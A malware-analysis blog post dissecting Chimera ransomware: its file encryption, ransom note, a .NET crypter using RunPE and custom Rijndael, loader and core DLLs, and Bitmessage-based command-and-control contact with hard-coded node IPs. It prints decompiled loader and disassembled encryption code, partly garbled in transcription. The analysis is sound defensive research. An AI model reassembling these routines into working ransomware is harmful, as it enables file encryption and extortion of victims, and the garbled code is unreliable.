Inside Chimera Ransomware - the first 'doxingware' in wild

Malwarebytes.com/blog/news/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild

hasherezade



Ransomware have proven to be a good source of money for cybercriminals. Not surprisingly, we are nowadays facing various families of this type of malware, i.e Cryptowall, CTB-Locker, Teslacrypt to name a few.

Recently, one more joined this set: Chimera, that is distributed via targeted e-mails to small companies.

At the first sight, it appears like yet another malware encrypting user's private files and demanding ransom for decrypting it. But it added to this feature one more twist that is supposed to put more pressure on the victim. It threatens that in case if the ransom will not be paid, all the stolen files are going to be published, along with the stolen credentials allowing to identify files' owner*.

This blackmail technique, called <u>doxing</u> provides much more serious threat than just loosing access to files. Also, keeping backups, that helps to manage attack of a normal ransomware would not help much. I think it will be fair to make a new term to describe this new subtype of ransomware, for example: doxingware.

*- Fortunately in case of Chimera authors didn't decided to really upload the files on the server, so it is only a bogus threat. Yet, from the point of view of the victim the pressure is very real.

This time we will take a high and low level view at Chimera, in order to understand the techniques used.

Analyzed samples

I will base on following three samples, captured by <u>@JAMESWT_MHT</u> // - big thanks to him for sharing! :)



- <u>8956cf38e5b6941921a3a2788f50a871</u>
- <u>e6922a68fca90016584ac48fc7722ef8</u>

Behavioral analysis

When deployed, Chimera enumerates files on all the available disks and encrypts documents recognized by some predefined extensions.

This is an example of what you may see, if on your machine Chimera was deployed - some files have been substituted by their encrypted versions with the appended extension *.crypt*.

Name	Date modified	Туре	Size
🐌 Help	2015-12-03 21:16	File folder	
ReadMe.txt.crypt	2015-12-03 18:11	CRYPT File	4 KB
ResourceHacker.def	2015-06-08 17:19	Export Definition F	16 KB
ResourceHacker.exe	2015-06-10 10:33	Application	4 193 KB
ResourceHacker.ini.crypt	2015-12-03 18:12	CRYPT File	2 KB
YOUR_FILES_ARE_ENCRYPTED.HTML	2015-12-03 18:11	Firefox HTML Doc	5 KB

See below a visualization of bytes.

square.bmp : left – original, right encrypted with *Chimera*:



Also, there is an HTML file dropped, that teaches user what happened. The HTML can be displayed in two languages - English and German. Below the English version:



At the bottom of the HTML file we can read that, in addition to blackmail, attackers also search people willingly to cooperate - probably for franchising their criminal business. More info about it is available in the source of the HTML:



After the process of encryption of all the files is finished, this HTML is displayed in full screen mode via Internet Explorer.

Unpacking

Two out of three malicious samples (60fabd1a2509b59831876d5e2aa71a6b, e6922a68fca90016584ac48fc7722ef8) are packed by the same .NET crypter, so I decided to give a brief overview on unpacking this crypter.

It is not obfuscated and can be easily decompiled by typical tools i.e. <u>ILSpy</u>. Looking at function names, we can get a lot of information about the functionality, i.e it loads the payload by the RunPE technique:



(full Stub.cs: https://gist.github.com/hasherezade/5b742b46df4f79fdb784)

[code language="csharp" title="Stub.cs" firstline="600"] public static void Main() { byte[] rawAssembly = Stub.decrypt(Stub.pe, Stub.decode(BASE64_ENCODED_KEY)); Stub.run_pe(rawAssembly); }

```
private static void run_pe(byte[] rawAssembly) { new
Stub.ManualMap().LoadLibrary(rawAssembly); } [/code]
```

This author of the crypter didn't relied on simple XOR based algorithm - instead, provided a custom implementation of a block cipher (Rijndael). We can find variables with familiar names like: <u>sbox</u>, <u>inv_sbox</u> (inverse S-Box), <u>Rcon</u> (the Round Constant), <u>Nr, Nb, Nk</u>... Fragment:

```
// Stub
private static byte[] decrypt(byte[] input, byte[] key)
{
        byte[] array = new byte[input.Length];
        byte[] array2 = new byte[16];
        Stub.Nb = 4;
        Stub.Nk = key.Length / 4;
        Stub.Nr = Stub.Nk + 6;
        Stub.w = Stub.generateSubkeys(key);
        int i;
        for (i = 0; i \ 0 \&\& i \% \ 16 == 0)
                 {
                         array2 = Stub.<u>decryptBloc(array2);</u>
                         Array.Copy(array2, 0, array, i - 16, array2.Length);
                 }
                 if (i < input.Length)</pre>
                 {
                         array2[i % 16] = input[i];
                 }
        }
        array2 = Stub.<u>decryptBloc(array2);</u>
        Array.Copy(array2, 0, array, i - 16, array2.Length);
        return Stub.deletePadding(array);
}
```

Payloads

Loader.dll

md5 = <u>8df3534fe1ae95fc8c22cb85aed15336</u>

The file unpacked by Stub.exe is a DLL. It comes with a string referring to a database with debug symbols of the project, suggesting that it is not the core payload, but just a loader for it: *C:\Projects\Ransom\bin\Release\Loader.pdb*. In fact, it role is just to unpack and load the core executable.

Automatic analysis:

https://malwr.com/analysis/Zjc0MDg0ZmRIMjhkNGYxZTImZWI1NzIxMTIhYmEyODU/

Loader.dll unpacks a new PE file, writes into process memory and runs it in a new thread:

	. FFIS <u>2820800F</u>	CHEL DWORD FIR DS:LK&KERNE	L32.Writerroce;	writeProcessMer	nory							
0F80142A	. 8500	TEST EAX,EAX										
0F80142C	.∨ 74 1E	JE SHORT chimera0F801440										
0F80142E	. 8D45 F8	LEA EAX. CLOCAL, 2]	· · · · · · · · · · · · · · · · · · ·									
0E801431	50	PUSH FRX										
0F801432	8845 F4	MOU FAX. FLOCAL, 31										
0F901435	0345 F0	OND FOX FLOCOL 41										
0F901439	. 604010	PUSH EST										
0F001400	EE75 0C	PUCH FORC 21										
0F001437	- FR 60											
0F00143C	- 50 - 20 00001000											
0F001430	. 60 00001000											
0001442	. 50											
0F001445	- D1 EE1E 4000000E	COLL DWORD DID DO LANCEDE	1.92 Charles David	kennel 22. Chanter	DeveteThread							
00001444	- FFIS <u>4020000F</u>	CHEL DWORD FIR DOLLARERIE	LS2.CreateRemo	kernelsz.create	ekemoteinread							
4												
DS:[0F802028]=771EC1DE (kernel32.WriteProcessMemory)												
DS: E0F8020	028J=//IECIDE (Kerne	[32.WrlteFrocessNeMory]										
DS: 00F8020	028J=//IECIDE (Kerne	132.WrlteProcessNemory)										
DS: [0F802)	028J=//IECIDE (kerne	132.Writerrocessnemory)										
DS: [0F802)	028J=//IECIDE (kerne	132.WriteProcessNemory)										
OS: LUF802	428J=//IECIDE (Kerne	132.wrlterrocessnemory)	ASCIT	001AFDEC	• 00000030 hProcess = 00000030 (
Address	Hex dump	00104 00 00 001EE EE 00 00	ASCII	Ø01AFDEC	• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000							
Address 002765F0	Hex dump 40 5A 90 00 03 00 00	00 04 00 00 00 FF FF 00 00	ASCII	▲ 001AFDEC 001AFDF0 001AFDF4	• 0000003C hProcess = 0000003C (• 00150000 Adress = 0x150000 • 002765F0 Buffer = 002765F0							
Address 002765F0 0276600 02276410	Hex dump 40 5A 90 00 00 00 00 00 38 00 00 00 00 00 00 00	00 04 00 00 00 00 00 00 00 00 00 00 00 0	ASCII MZE.♥♦ Ş	▲ 001AFDEC 001AFDF0 001AFDF4 001AFDF4	• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015A00 BytesToWrite = 15A00							
Address 002765F0 00276600 00276610 00276610	Hex dump 4D 5A 90 00 03 00 00 38 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII MZE	▲ 001AFDEC 001AFDF0 001AFDF4 001AFDF8 001AFDF8	• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015A00 BytesToWrite = 15A00 • 00000000 - pBytesWritten = NULL							
Address 002765F0 00276600 00276600 00276600 00276620	Hex dump 40 5A 90 00 03 00 00 38 00 00 00 00 00 00 30 00 00 00 00 00 00 30 00 00 00 00 00 30 00 00 00 00 00 00	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII MZE.♥♥ S®	▲ 001AFDF0 001AFDF4 001AFDF4 001AFDF5 001AFDF5 001AFED70	• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015A00 BytesToWrite = 15A00 • 00000000 pBytesWritten = NULL • 0014000							
Address 1 002765F0 00276610 00276610 00276620 00276620	Hex dump Hex dump Hex 5A 90 00 03 00 00 38 00 00 00 00 00 00 00 30 00 00 00 00 00 00	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII MZE. ●	001AFDE0 001AFDF0 001AFDF4 001AFDF3 001AFDF0 001AFDF0 001AFDF0 001AFE04 001AFE04	• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 000000000 BytesToWrite = 15A00 • 000000000 pBytesWritten = NULL • 00140000							
Address 1 00276550 00276600 00276600 00276630 00276630 00276630	Hex dump 4D 5A 90 00 03 00 00 88 00 00 00 00 00 00 30 00 00 00 00 00 00 30 00 00 00 00 00 00 20 00 00 00 00 00 00 20 1F BA 0E 00 B4 09 59 73 20 70 72 6F 67	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII M2E S		• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015000 pBytesToWrite = 15000 • 00140000 pBytesWritten = NULL • 00140000 • 000003C							
Address 002765F0 00276600 00276610 00276620 00276640 00276640 00276640	Hex dump 40 5A 90 00 03 00 00 88 00 00 00 00 00 00 80 00 00 00 00 00 00 80 00 00 00 00 00 00 80 00 00 00 00 00 00 30 1F BA 0E 00 B4 09 35 73 20 70 72 26 F 67 74 20 62 65 20 72 75	00 04 00 00 00 FF FF 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII MZE		• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015000 BytesToWrite = 15000 • 00000000 pBytesWritten = NULL • 0000003C • 000007746 • 00150000							
Address J 002765F0 00276600 00276620 00276620 00276630 00276630 00276650 00276650	Hex dump 4D 5A 90 00 03 00 00 88 00 00 00 00 00 00 80 00 00 00 00 00 00 30 00 00 00 00 00 00 20 00 00 00 00 00 00 21 FF BA 0E 00 84 09 59 73 20 70 72 6F 67 74 20 62 65 20 72 75 50 6F 64 65 2E 00 00	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII M2E S	0012F0EC 0014FDF0 0014FDF4 0014FDF8 0014FDF8 0014FE00 0014FE04 0014FE02 0014FE02	• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015000 pBytesToWrite = 15000 • 00140000 pBytesWritten = NULL • 00160003C • 000007746 • 00150000 • 000007746							
Address 002765F0 00276600 00276610 00276620 00276620 00276620 00276620 00276620	Hex dump 4D 5A 90 00 03 00 00 38 00 00 00 00 00 00 30 00 00 00 00 30 00 00 00 00 30 00 00 00 30 00 00 00 30 00 00 00 30 00 00 30 00 00 00 30 00 00 00 30 00 00 30 00 00 30 00 00 30 00 00 30 00 00 30 000	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII MZE		• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 002765F0 Buffer = 002765F0 00015A00 BytesToWrite = 15A00 00140000 0000003C oppytesWritten = NULL 00140000 00000746 00150000 00000000 00000000							
Address 1 002765F0 00276620 00276620 00276620 00276620 00276630 00276650 00276650 00276650 00276650	Hex dump Hex dump Hex 5A 90 00 03 00 00 38 00 00 00 00 00 00 30 00 00 00 00 00 00 30 00 00 00 00 00 00 30 1F BA 0E 00 B4 09 59 73 20 70 72 6F 67 74 20 62 65 20 72 75 50 6F 64 65 2E 00 00 D8 2F 6B 39 9C 4E 05 59 42 0A 6A 98 4E 05	00 04 00 00 00 FF 00<	ASCII M2E		• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 00000000 pBytesToWrite = 15A00 • 00000000 • 00000000 • 0000000 • 0000000 • 0000000 • 0002765F0 • 00015000 • 0002765F0 • 00015000							
Address 002765F0 002765F0 00276640 00276610 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640 00276640	Hex dump 4D 5A 90 00 03 00 00 38 00 00 00 00 00 00 00 30 00<	00 04 00 00 00 FF FF 00 00 00 04 00 </th <th>ASCII MZE S</th> <th></th> <th>• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015000 BytesToWrite = 15000 • 00140000 • 00000000 • 000000000 • 000000000 • 000000000 • 000000000 • 000000000 • 00000000 • 000000000 • 00000000 • 000000000 • 000000000 • 000000000 • 0000000000</th>	ASCII MZE S		• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00015000 BytesToWrite = 15000 • 00140000 • 00000000 • 000000000 • 000000000 • 000000000 • 000000000 • 000000000 • 00000000 • 000000000 • 00000000 • 000000000 • 000000000 • 000000000 • 0000000000							
Address 002765F0 00276600 00276610 00276640 00276640 00276640 00276650 00276670 00276670 00276680 00276680	Hex dump 4D 5A 90 00 03 00 00 3B 00 00 00 00 00 00 00 3B 00<	00 04 00 00 00 FF FF 00 00 00 04 00 </th <th>ASCII M2E</th> <th></th> <th>• 0000003C • 00150000 • 002765F0 • 000150000 • 002765F0 • 00015000 • 002765F0 • 00015000 • 00000000 • 0000000 • 0000000 • 00000746 • 00150000 • 00007746 • 00150000 • 00007746 • 00150000 • 002765F0 • 00007746 • 00150000 • 002765F0 • 0000F746 • 0000F7746 • 0000F7746 • 0000F7746 • 0000F7746 • 0000F7746 •</th>	ASCII M2E		• 0000003C • 00150000 • 002765F0 • 000150000 • 002765F0 • 00015000 • 002765F0 • 00015000 • 00000000 • 0000000 • 0000000 • 00000746 • 00150000 • 00007746 • 00150000 • 00007746 • 00150000 • 002765F0 • 00007746 • 00150000 • 002765F0 • 0000F746 • 0000F7746 • 0000F7746 • 0000F7746 • 0000F7746 • 0000F7746 •							
Bit Bit 002765F0 00276650 00276610 00276620 00276630 00276640 00276640 00276640 00276640 00276640 00276680 00276680 00276680 00276680 00276680 00276680	Hex dump 4D 5A 90 00 03 00 00 38 00 00 00 00 00 00 30 00 00 00 00 00 30 00 00 00 00 00 30 00 00 00 00 30 00 00 00 00 30 00 00 00 30 00 00 00 30 00 00 30 00 00 30 00 00 30 00 00 30 00 00 30 00 40 00 30 00 30 00 30 00 40 00 4	00 04 00 00 00 FF FF 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII M2E		• 0000003C hProcess = 0000003C (• 00150000 Address = 0x150000 • 002765F0 Buffer = 002765F0 • 00000000 pBytesToWrite = 15A00 • 00000000 pBytesWritten = NULL • 00150000 • 000007746 • 00150000 • 00000000 • 002765F0 • 00168000 • 002765F0 • 001681 RETURN to chimera0F8 • 00158000 • 00158000 • 002765F0 • 001681 RETURN to chimera0F8 • 00158000							
Address 002765F0 00276610 00276610 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620 00276620	Hex dump 4D 5A 90 00 03 00 00 3B 00	00 04 00 00 00 FF FF 00 00 00 04 00 </td <td>ASCII MZE</td> <td></td> <td>• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 002765F0 Buffer = 002765F0 00000000 pytesWritten = 15A00 00000000 0000003C 000007746 00150000 000005760 000167560 001AFE34 0F8016A1 00015560 00140000 0000000</td>	ASCII MZE		• 0000003C hProcess = 0000003C (00150000 Address = 0x150000 002765F0 Buffer = 002765F0 00000000 pytesWritten = 15A00 00000000 0000003C 000007746 00150000 000005760 000167560 001AFE34 0F8016A1 00015560 00140000 0000000							

Core.dll

md5 = <u>0a27affc77bd786beff69aa1f502d694</u>

The original name of the executable unpacked by the Loader is **Core.dll** (it also comes with a analogical string: **C:\Projects\Ransom\bin\Release\Core.pdb**) and is responsible for all the malicious activities.

Offset	Name		Value	Meaning					
148D0	Characteristics		0						
148D4	TimeDateStam	Р	55F9CDCC						
148D8	MajorVersion		0						
148DA	MinorVersion		0						
148DC	Name		15702	Core.dll					
148E0	Base		1						
148E4	NumberOfFund	tions	1						
148E8	NumberOfNam	ies	1						
148EC	AddressOfFund	tions	156F8						
148F0	AddressOfNam	ies	156FC						
148F4	AddressOfNam	eOrdinals	15700						
Details									
Offset	Ordinal	Function RV	A Name RVA	Name					
148F8	1	10346	1570B	_ReflectiveLoader@4					

At this stage we can see clearly all the strings and api calls. Also, the full list of extensions of files that are going to be encrypted. (Full list of strings: <u>https://gist.github.com/hasherezade/ceef1c2fed2c70f37d6e</u>)

DllMain sets a mutex automatically generated from the volume serial number (to ensure that the malware is not run more than once), and then starts a new thread that deploys following three procedures:

1001028	0 ; DWORD	stdcall thread_main(LPVOID lpThreadParameter)											
1001028	0 thread_	main proc near											
1001028	0												
1001028	0 lpThrea	dParameter= dword ptr 4											
1001028	0												
1001028	0 push 👘	esi											
1001028	1 call	start_network_thread											
10010280	6 mov	esi, eax											
10010288	8 push	push esi											
10010289	9 call	call search_and_encrypt_files											
1001028	E push	push esi											
1001028	F call	call display_html_file											
10010294	4 mov	mov eax, [esi+214h]											
10010296	А рор	ecx											
10010291	в рор	ecx											
10010290	C test	eax, eax											
10010291	Ejz	short loc_100102A9											
_		· · · · · · · · · · · · · · · · · · ·											
	🚺 🚄 🚺												
	100102A0	push OFFFFFFFF ; dwMilliseconds											
	100102A2	push eax ; hHandle											
ŀ	100102A3	call ds:WaitForSingleObject											

In the function **start_network_thread** Chimera prepares all the data to be sent to the C&C and after that deploys a new thread, that handles all the network-related operations. First is the information gathering phase. The victim ID is generated basing on hardware - also, some other information about the local machine is collected: computer name and external IP (by querying address: **bot.whatismyipaddress.com** - if the computer is offline 0.0.0.0 is used as the IP). This data, along with the generated bitcoin wallet address and a generated key pair are supplied as a parameter to the newly created thread.

0F63F5DP 0F63F5DE 0F63F5DD 0F63F5E2 0F63F5E2 0F63F5E3 0F63F5E3 0F63F5E8 0F63F5E8 0F63F5E8	. 51 . 51 . 50 . 68 <u>87F8630F</u> . 51 . 51 . 51 . 50 . C3	PUSH ECX PUSH ECX PUSH EAX PUSH EAX PUSH ECX PUSH ECX CALL DWORD PTR DS: [<&KERNE POP EBP RETN	pThreadId = NULL CreationFlags = 0 pThreadParm = 0025 ThreadFunction = C StackSize = 0x0 pSecurity = NULL CreateThread	2DA0 ore_dll.0F63F887
Address	Hex dump		ASCII	
028C295 028C295 028C205 028C205 028C205 028C205 028C205 028C255 028C255 028C315 028C315 028C355 028C355 028C355 028C355 028C355 028C355 028C355 028C355 028C355 028C4555 028C4555 028C4555 028C4555 028C4555 028C555 0	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	39 39 33 31 46 41 39 35 43 39 31 35 42 36 32 33 38 38 90 91 90 90 90 90 56 64 84 92 F6 22 31 43 44 35 72 66 84 92 F6 22 31 43 44 35 74 66 64 92 F6 25 31 44 43 57 74 66 63 77 74 65 64 74 72 66 73 77 77 78 46 66 73 77 77 74 65 64 74 72 48 69 99 65 11 15 167 48 98 99 32 77 78 46 67 76 11 16 16 10 10 16 16 10 10 16 17 13 39	787FBE99915FA95C computer 80 0.0.0.0VFA 1¢G+"ICDSrc KIYKWDqp2Et367Cc dMqPxpeAc8vU35JH 6Fanq66ruy4udtsb RTi2QxUtejivFcsw V84quQCxFctBNi2W R>44"Ifc45Je+"3 rtfCHAW:8y0*t,A+ R0%Lösk05+48Es0 N^C;+A02TL]!'K16 25/C0-400-7dJT#R# E-USCdUrS022E<4s	name

It is deployed before the process of file encryptions starts - and the public key from this pair is passed forward to the function encrypting files.

File encryption function (beginning):

```
10010C6A ; int cdecl encrypt file(LPCSTR lpFileName, int key)
10010C6A encrypt file proc near
10010C6A
10010C6A cryptoctx= byte ptr -OEDOh
10010C6A inBuf= byte ptr -928h
10010C6A outBuf= byte ptr -528h
10010C6A NewFileName= byte ptr -128h
10010C6A var 24= dword ptr -24h
10010C6A FileSize= LARGE_INTEGER ptr -20h
10010C6A Overlapped= OVERLAPPED ptr -18h
10010C6A hHandle= dword ptr -4
10010C6A lpFileName = dword ptr 8
10010C6A key= dword ptr OCh
10010C6A
10010C6A push
                 ebp
                 ebp, esp
10010C6B mov
10010C6D sub
                 esp, 0ED0h
10010C73 push
                 esi
10010C74 push
                 edi
10010C75 xor
                 edi, edi
10010C77 push
                 edi
                                  ; hTemplateFile
                 40000080h
10010C78 push
                                  ; dwFlagsAndAttributes
10010C7D push
                 3
                                  ; dwCreationDisposition
10010C7F push
                 edi
                                  ; 1pSecurityAttributes
10010C80 push
                 edi
                                  ; dwShareMode
                                  ; dwDesiredAccess
10010C81 push
                 0C0000000h
10010C86 push
                 [ebp+lpFileName] ; lpFileName
10010C89 mov
                 [ebp+hHandle], edi
10010C8C call
                 ds:CreateFileA
```

Preparing random symmetric key for each file:

		* *	
📕 🚄 🖼			
10010CB5			
10010CB5	make_a	ind_encrypt_sym	metric_key:
10010CB5	mov	eax, [ebp+pu	blic_key]
10010CB8	add	eax, 4	
10010CBB	push	259	; key_len
10010000	push	eax	; buffer
10010001	lea	eax, [ebp+fi	le_key]
10010007	push	eax	; a1
10010008	call	prepare_file	_key
10010CCD	add	esp, OCh	
10010CD0	test	eax, eax	
10010CD2	jnz	short loc_10	010CE3
_			

The public key (marked purple) is passed to the function responsible for generating random key for each file. Every symmetric key is encrypted by the public key and then stored in the file:

0F640C90 0F640CA4 0F640CA8 0F640CA8 0F640CA8 0F640CA8 0F640CA8 0F640CA8 0F640CB3 0F640CB3 0F640CB3 0F640CB3 0F640CC3 0F640CC3 0F640CC1 0F640CC1 0F640CC1	· 56 FF1 · 85C · 74 · 77F · 77F · 775 · 837 · 837 · 837 · 837 · 834 · 838 · 808 · 508 · 745 · 837 · 837 · 837 · 837 · 836 · 8366 · 836 · 836 · 836 · 836 ·	5 <u>4C20640</u> 0 E4 27 06 FF 1F 5 0C 0 04 03010000 5 30F1FFF C86FFFFF	FOSH TEST JE S JE S JE S JE S CMP JNB MOV ADD PUSH FUSH CALL CALL	ESI DWORD F EAX, EAX HORT Cor HORT Cor HORT Cor HORT Cor EAX, CAR EAX, CAR EAX, CAR EAX EAX EAX Core_dl	PTR DS:[< dll.0F dll.0F dll.0F dll.0F dll.0F dll.0 0x1 	&KERNE 640CD4 640CD5 F640CD5 F640CD 95	L32.GetFileSiz€ 4	kernel3 Arg3 = (Arg2 = (Arg1 = (crypto_	2.GetFileSizeEx 200000103 2024EE14 2024EE14 init
Address	Hex dump)					ASCII		
0024EE14 0024EE34 0024EE34 0024EE54 0024EE64 0024EE74 0024EE74 0024EE94 0024EE94 0024EE94 0024EE94 0024EE04 0024EE04 0024EE04 0024EE14 0024EF14 0024EF34 0024EF34	B5 3E 34 BF C5 21 E1 FC 43 B7 C5 21 E1 FC 43 B7 C6 C5 11 AB 93 24 91 24 25 56 91 24 27 69 20 C5 44 26 20 C5 84 26 469 C5 85 16 469 58 26 36 469 58 26 36 40 40 40 40 40 40 40 40 40 40 40 40 40 40 40 40	C8 B4 54 43 E3 CF 2 D8 4C S7 3 BB C5 41 43 DF 11 53 7B 47 99 12 51 99 12 51 99 12 51 99 12 51 99 12 51 99 12 51 99 12 51 99 14 60 99 71 54 90 16 62 90 16 62 90 16 62 90 16 62 90 00 00 62 90 60 60 62 90 60 60 62 90 00 60 62	74 87 86 57 38 33 15 78 38 88 32 96 40 FE 33 55 C9 83 10 69 29 65 8C 93 28 44 03 10 69 29 65 8C 93 7F 37 66 34 08 77 62 D3 96 9E 10 39 9E 68 33 09 E1 8 86 05 00 00 00 00 00 00 00	5 35 29 3 79 D1 3 79 D1 3 70 D1 3 10 B3 6 4 10 9 EA B0 5 49 5A 4 9 5A 4 9 5A 4 10 ED ED 5 49 5A 4 10 15 2 B8 38 3 10 ED ED 4 10 15 2 B8 38 3 16 25 5 6 45 6 49 5A 4 0 0 00 3 00 00 0 0 0 00 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	C8 15 B6 C1 AD 398 52 B1 10F 58E B5 25 A4 28 B5 25 A4 28 B5 25 A4 28 B5 25 B5 4 B5 4 B5 4 B5 4 B5 4 B5 4 B5 4 B5	A>4" tc#5)ee+ ++CHXW:8y0"t, RC#LOXX054436; N^C:+A02TL !'N 20/C"40@704D :1 E-US(d'UF\$0226<4 0UF~AG(D.1" - p0 ++r0+Q0)i&12A05; C3W.+3e ⁴ SYY2"4; 0J/k\$MA7j)\$\$45. i+Jy9943r182A0; p50_K25650*&A0 FRu2a.×j3+Xw~G iI F.S.B>+25°A0; SEQ02_TONOHA.) 8.00, +804	-34 55 51 51 51 51 51 51 51 51 51 51 51 51	

File is processed chunk by chunk:

📕 🚄 🖼		
10010D71	push	1024
10010D76	lea	eax, [ebp+outBuf]
10010D7C	push	eax
10010D7D	lea	eax, [ebp+inBuf]
10010D83	push	eax
10010D84	lea	eax, [ebp+cryptoctx]
10010D8A	push	eax
10010D8B	call	<pre>encrypt_file_fragment</pre>
10010D90	add	esp, 10h
10010D93	test	eax, eax
10010D95	jz	loc_10010CD4

then, saved under the name with suffix .*crypt* added:



Communication

Chimera authors have chosen <u>Bitmessage</u> P2P protocol for the communication with C&C (as well as for the contact with eventual recruits).

▶ Trai	nsmi	ssi	ion	Cor	ntro	ol P	Prof	tocol	, :	Src	Por	rt:	105	54	(105	54),	Dst	Port:	8444	(844	4),
🔻 Data	a (:	127	by	tes)																
Data: e9beb4d976657273696f6e0000000000000000672e3839f5																					
[Length: 127]																					
0000	0a	00	27	00	00	00	08	00	27	8f	eЗ	eb	08	00	45	00	'		1	.E.	
0010	00	a7	ba	32	40	00	80	06	Зe	сЗ	сO	a8	38	65	5f	a5		.2@	>8	le	
0020	a8	a8	04	le	20	fc	Зc	e0	55	Зe	88	9d	16	7b	50	18		<.	U>	{P.	
0030	fa	fo	la	78	00	00	e9	be	b4	d9	76	65	72	73	69	6f		.x	ver	sio	
0040	6e	00	00	00	00	00	00	00	00	67	2e	38	39	f5	00	00	n		.g.89)	
0050	00	03	00	00	00	00	00	00	00	01	00	00	00	00	56	61				.Va	
0060	0e	76	00	00	00	00	ff	ff	ff	ff	00	00	00	00	00	00	.v.				
0070	00	00	00	00	ff	ff	5f	a5	a8	a8	20	fc	00	00	00	00					
0080	00	00	00	00	00	00	00	00	00	00	00	00	00	00	ff	ff					
0090	00	00	00	00	00	00	00	01	27	29	9d	fe	05	21	14	2f			')	1.7	
00a0	50	79	42	69	74	6d	65	73	73	61	67	65	За	30	2e	34	PyE	Bitmes	sage:	0.4	
00b0	2e	34	2f	01	01												. 4/	/			

To bootstrap the connection the bot uses two hard-coded hosts and receives addresses from them.

1000F8D2	lea	eax, [ebp+var_10]	
1000F8D5	push	eax ;	int
1000F8D6	push	20FCh	hostshort
1000F8DB	push	offset name	"95.165.168.168"
1000F8E0	call	connect to host	
1000F8E5	lea	eax, [ebp+var 10]	
1000F8E8	push	eax	int
1000F8E9	push	1F90h	hostshort
1000F8EE	push	offset a158 222 2	11_81 ; "158.222.211.81"
1000F8F3	call	connect to host	_
1000F8F8	lea	eax, [ebp+var_10]	

Mind the fact, that those addresses are **not** C&Cs of the malware, but just nodes of Bitmessage. Below - fragment of <u>original file from Bitmessage protocol</u>:

10	<pre>def createDefaultKnownNodes(appdata):</pre>
11	######################################
12	stream1 = {}
13	
14	#stream1[shared.Peer('2604:2000:1380:9f:82e:148b:2746:d0c7', 8080)] = int(time.time())
15	stream1[shared.Peer('5.45.99.75', 8444)] = int(time.time())
16	stream1[shared.Peer('75.167.159.54', 8444)] = int(time.time())
17	stream1[shared.Peer('95.165.168.168', 8444)] = int(time.time())
18	stream1[shared.Peer('85.180.139.241', 8444)] = int(time.time())
19	stream1[shared.Peer('158.222.211.81', 8080)] = int(time.time())

Sample response from one of the servers (95.165.168.168):

 Internet Protocol Version 4, Src: 95.165.168.168 (95.165.168.168), Dst: Transmission Control Protocol, Src Port: 8444 (8444), Dst Port: 49163 (4) Data (1460 bytes) 																	
Data: e9beb4d9616464720000000000000000000000000000000000																	
[Length: 1460]																	
0030	01	00	58	b4	00	00	e9	be	b4	d9	61	64	64	72	00	00	X <mark>addr</mark>
0040	00	00	00	00	00	00	00	00	0a	b1	ec	ab	48	9f	48	00	H.H.
0050	00	00	00	56	61	76	29	00	00	00	01	00	00	00	00	00	Vav)
0060	00	00	01	00	00	00	00	00	00	00	00	00	00	ff	ff	4d	M
0070	ec	41	92	87	dO	00	00	00	00	56	61	7a	2f	00	00	00	.AVaz/
0080	01	00	00	00	00	00	00	00	01	00	00	00	00	00	00	00	
0090	00	00	00	ff	ff	57	13	5e	82	20	fc	00	00	00	00	56	V.^V
00a0	61	71	fe	00	00	00	01	00	00	00	00	00	00	00	01	00	aq
00b0	00	00	00	00	00	00	00	00	00	ff	ff	4d	ec	41	92	al	M.A
00c0	Зf	00	00	00	00	56	61	85	2b	00	00	00	01	00	00	00	?Va. +
00d0	00	00	00	00	01	00	00	00	00	00	00	00	00	00	00	ff	
00e0	ff	4e	34	c5	ef	20	fc	00	00	00	00	56	61	6d	99	00	.N4Vam
oofo	00	00	01	00	00	00	00	00	00	00	01	00	00	00	00	00	
0100	00	00	00	00	00	ff	ff	4d	ec	41	92	af	5e	00	00	00	M .A^
0110	00	56	61	7c	06	00	00	00	01	00	00	00	00	00	00	00	.Va
0120	01	00	00	00	00	00	00	00	00	00	00	ff	ff	4d	ec	41	M.A

Using the received list, it starts a new Bitmessage connection and sends there an *object*:



Example of sending an *object* (containing client data) to a new address: 79.218.142.200:

